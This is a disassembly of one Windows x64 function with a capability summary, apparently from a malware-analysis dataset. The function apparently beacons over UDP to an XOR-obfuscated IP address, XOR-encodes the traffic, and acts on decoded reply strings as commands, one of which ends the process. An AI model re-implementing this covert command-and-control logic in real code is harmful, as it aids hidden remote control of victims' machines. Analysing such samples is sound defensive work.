Function at 0x140074710
Capabilities:
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x140330440]
xor rax, rsp
mov qword [rbp + 0x590], rax
mov rsi, rcx
xor edi, edi
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140074cb4
xor r8d, r8d
mov ebx, 2
mov edx, ebx
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140074cb4
mov qword [rbp - 0x40], rdi
mov word [rbp - 0x48], bx
mov ecx, 0x6007
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x46], ax
mov dword [rsp + 0x30], 0x9d85929a
mov dword [rsp + 0x34], 0x8281999d
mov dword [rsp + 0x38], 0x809d8780
mov word [rsp + 0x3c], 0x83
mov byte [rsp + 0x3e], 1
mov ecx, edi
nop dword [rax]
lea eax, [rcx - 0x57]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x1400747c0
mov byte [rsp + 0x3e], dil
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp - 0x44], eax
mov rbx, qword [rsi + 0x10]
mov rdx, rsi
lea rcx, [rsp + 0x48]
call fcn.14005d4d0
mov rcx, rdi
test rbx, rbx
je 0x140074819
nop dword [rax]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14007480d
mov rdx, qword [rax]
xor byte [rdx + rcx], 0xaa
inc rcx
cmp rcx, rbx
jb 0x140074800
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rcx, rax
call fcn.14005d600
nop
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rdx, qword [rbp - 0x38]
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, dword [rbp - 0x28]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x140074c9b
mov dword [rbp - 0x70], reloc.WS2_32.dll_recv
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x190]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recvfrom]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
je 0x140074c9b
cmp rcx, 0x400
jae 0x140074ce2
mov byte [rbp + rcx + 0x190], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
lea rax, [rbp + 0x190]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140074900
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x70]
call fcn.140070cc0
lea rax, [rbp + 0x190]
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074925
mov rdx, rdi
test rcx, rcx
je 0x14007495c
nop word [rax + rax]
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rax, qword [rsp + 0x70]
xor byte [rax + rdx], 0xaa
inc rdx
cmp rdx, rcx
jb 0x140074940
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x58], xmm1
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.14005d600
nop
mov dword [rsp + 0x30], 0xc9ded8dd
mov word [rsp + 0x34], 0x100
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx - 0x57]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 4
jb 0x1400749a0
mov byte [rsp + 0x35], 0
lea rcx, [rsp + 0x30]
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400749c0
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rcx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
cmp r8, rax
jne 0x140074a18
lea rdx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140074a18
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rbp - 0x68]
call fcn.14005d600
nop
lea rcx, [rbp - 0x38]
call fcn.14005d600
mov al, 1
jmp 0x140074cb6
mov word [rsp + 0x30], 0x7c
mov byte [rsp + 0x32], 0
lea r8, [rsp + 0x31]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14005dd70
lea r9, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r9, qword [rsp + 0x70]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rcx, qword [rbp - 0x68]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rbp - 0x58]
call fcn.140070930
mov rbx, rax
lea rcx, [rsp + 0x70]
call fcn.14005d600
cmp rbx, 0xffffffffffffffff
je 0x140074c22
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov word [rsp + 0x30], 0x7c
mov byte [rsp + 0x32], al
lea r8, [rsp + 0x31]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.14005dd70
nop
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x70]
call fcn.140074100
nop
lea rcx, [rsp + 0x48]
call fcn.14005d600
mov r14, qword [rsp + 0x78]
mov rax, r14
mov rcx, qword [rsp + 0x70]
sub rax, rcx
sar rax, 5
cmp rax, 2
jb 0x140074bfa
movdqa xmm0, xmmword [0x140303940]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x140303010]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0xb1a0f58b
mov word [rsp + 0x6c], 0x100
nop word [rax + rax]
lea eax, [rdi - 0x61]
xor byte [rsp + rdi + 0x48], al
inc rdi
cmp rdi, 0x24
jb 0x140074b20
mov byte [rsp + 0x6d], 0
lea rax, [rsp + 0x48]
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140074b40
mov r8, qword [rcx + 0x10]
mov rdi, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140074b5a
mov rcx, qword [rcx]
cmp r8, rsi
jne 0x140074bfa
lea rdx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140074bfa
lea rbx, [rdi + 0x20]
cmp rbx, r14
je 0x140074b9d
nop
mov rdx, rbx
mov rcx, rdi
call fcn.14006ed20
add rdi, 0x20
add rbx, 0x20
cmp rbx, r14
jne 0x140074b80
mov r14, qword [rsp + 0x78]
lea rcx, [r14 - 0x20]
call fcn.14005d600
mov r8, qword [rsp + 0x78]
sub r8, 0x20
mov qword [rsp + 0x78], r8
mov rdx, qword [rsp + 0x70]
sub r8, rdx
sar r8, 5
call fcn.1400750f0
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rsp + 0x70]
call fcn.14006f2d0
nop
lea rcx, [rbp - 0x68]
call fcn.14005d600
nop
lea rcx, [rbp - 0x38]
call fcn.14005d600
mov al, 1
jmp 0x140074cb6
lea rcx, [rsp + 0x70]
call fcn.14006f2d0
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rbp - 0x68]
call fcn.14005d600
jmp 0x140074cab
movdqa xmm0, xmmword [0x140302760]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 1
nop word [rax + rax]
lea eax, [rdi - 0x57]
xor byte [rsp + rdi + 0x30], al
inc rdi
cmp rdi, 0xf
jb 0x140074c40
mov byte [rsp + 0x40], 0
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140074c60
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rcx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
cmp r8, rsi
jne 0x140074c04
lea rdx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140074c04
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rbp - 0x38]
call fcn.14005d600
xor al, al
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.140264720
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140264c38
nop
int3